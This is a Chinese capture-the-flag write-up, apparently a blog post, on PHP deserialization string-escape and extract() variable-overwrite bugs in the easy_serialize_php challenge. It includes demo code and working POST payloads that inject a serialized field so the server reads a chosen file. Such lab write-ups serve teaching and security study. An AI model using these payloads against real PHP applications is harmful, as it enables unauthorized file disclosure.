[安洵杯 2019]easy_serialize_php 1

知识点:反序列化字符串逃逸(2种情形),extract变量覆盖漏洞

反序列化字符串逃逸

一般这类漏洞,都是在序列化之后,过滤,然后反序列化引起的。

反序列化的规则

了解反序列化字符串逃逸之前,先了解反序列化的规则
例如:

a:2:{s:4:"user";s:5:"guest";s:8:"function";s:3:"aaa";}
//第一个a代表这是一个数组序列化

php反序列化会以 ; 来分隔字符段,以 } 为结尾,并且每个字段的内容是根据长度判断的,比如s:4:“user”;里面的4表示内容长度为4,若为s:4:“user1”;就会报错,也可以自己添加字段。
比如:

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"aaa";s:4:"pass";s:3:"123";}

00x1:过滤后字符变多

#参考字节脉搏实验室
<?php
function lemon($string){
    $lemon = '/p/i';
    return preg_replace($lemon,'ww',$string);//若匹配到p则换为ww
}
echo "原序列:<br>";
$username = $_POST['a'];
$age = '20';
$user = array($username,$age);
var_dump(serialize($user));
echo "<br><br>";
echo "过滤后:<br>";
$r = lemon(serialize($user));//对序列化后的user数组过滤
var_dump($r);
echo "<br><br>过滤后反序列化:";
var_dump(unserialize($r));
?>

当我们输入pppp时被替换为wwwwwwww,反序列化没有成功,以为长度匹配不上。
在这里插入图片描述
我们可以通过这个过滤来改age的值,序列化后也就是";i:1;s:2:“50”;},长度为16,且一个p会被替换为两个ww,所以可以构造16个p,过滤后变为32个w,刚好修改前后的长度相等

pppppppppppppppp";i:1;s:2:"50";}
过滤后
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

a:2:{i:0;s:32:"【pppppppppppppppp";i:1;s:2:"50";}】";i:1;s:2:"20";}
//【】内为我们构造的值

过滤后:
a:2:{i:0;s:32:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:2:"50";}";i:1;s:2:"20";}
//【】内为我们想要的值,age=50
//刚好32个w,不仅包含了16个p所在的位置,也包含了";i:1;s:2:"50";}所在的位置。

经过修改发现可以反序列化成功。
在这里插入图片描述

00x1:过滤后字符变少(本题就是此类型)

值替换

<1>对SESSION初始化,以及判断
extract函数:将变量从数组中导入当前的符号表,这里是把post里的值取出来变为PHP变量,比如name=user,则为$name=user,最重要的是它会再变量冲突时覆盖前面的变量。
在这里插入图片描述
<2>先对SESSION序列化然后再调用filter过滤
在这里插入图片描述
<3>判断function,有两个需要注意的,一个是等于phpinfo时,还有一个是等于show_image时,file_get_contents获取文件内容这边就是我们得到flag的地方
在这里插入图片描述
在这里插入图片描述
得到flag名,但要怎么使img等于d0g3_f1ag.php呢?

base64_decode($userinfo[‘img’])=d0g3_f1ag.php
而$userinfo是由$_SESSION序列化过滤后,再反序列化得到的,这变就形成了一个反序列化字符串逃逸。可以通过extract来覆盖掉$_SESSION[“user”]和$_SESSION[“function”]来对他们重新赋值。

先分析一波序列化的字符串,这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:“function”;s:xx:“a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag,
且[function]=a”;s:8:“function”;s:5:“abcde”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

payload:
f=show_image
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

看看构造

过滤前
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:xx:"【a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";}
//【】括号内为我们的值
过滤后的
a:3:{s:4:"user";s:24:"【";s:8:"function";s:xx:"a】";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//括号内的为我们过滤后user值向后包含24个字符

看到flag所在文件名,把img的值变一下,要base64编码
在这里插入图片描述

键替换

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后
a:2:{s:7:"【";s:48:】";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样

总结:
反序列化字符串逃逸产生的原因及解:

字符串先序列化后,再过滤,最后反序列化,
导致在过滤时通过字段长度来包含后面所多余的字段,使得多余的字段变成了一个字段的值
然后再构造我们所需要的字段和值。

最后本题可以通过下面这个来观察序列化的变化:

<?php

$_SESSION['user'] = 'bbb';
$_SESSION['function'] = 'aaa';//因为后面我们会变量覆盖,这边只是为了方便观看
$a = serialize($_SESSION);
echo $a."<br>";//题目原本的序列化内容
var_dump($_SESSION);//方便看清楚各个变量值
echo "下面的是变量覆盖后的<br>";
extract($_POST);
$a = serialize($_SESSION);
echo $a."<br>";
var_dump($_SESSION);
?>
  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值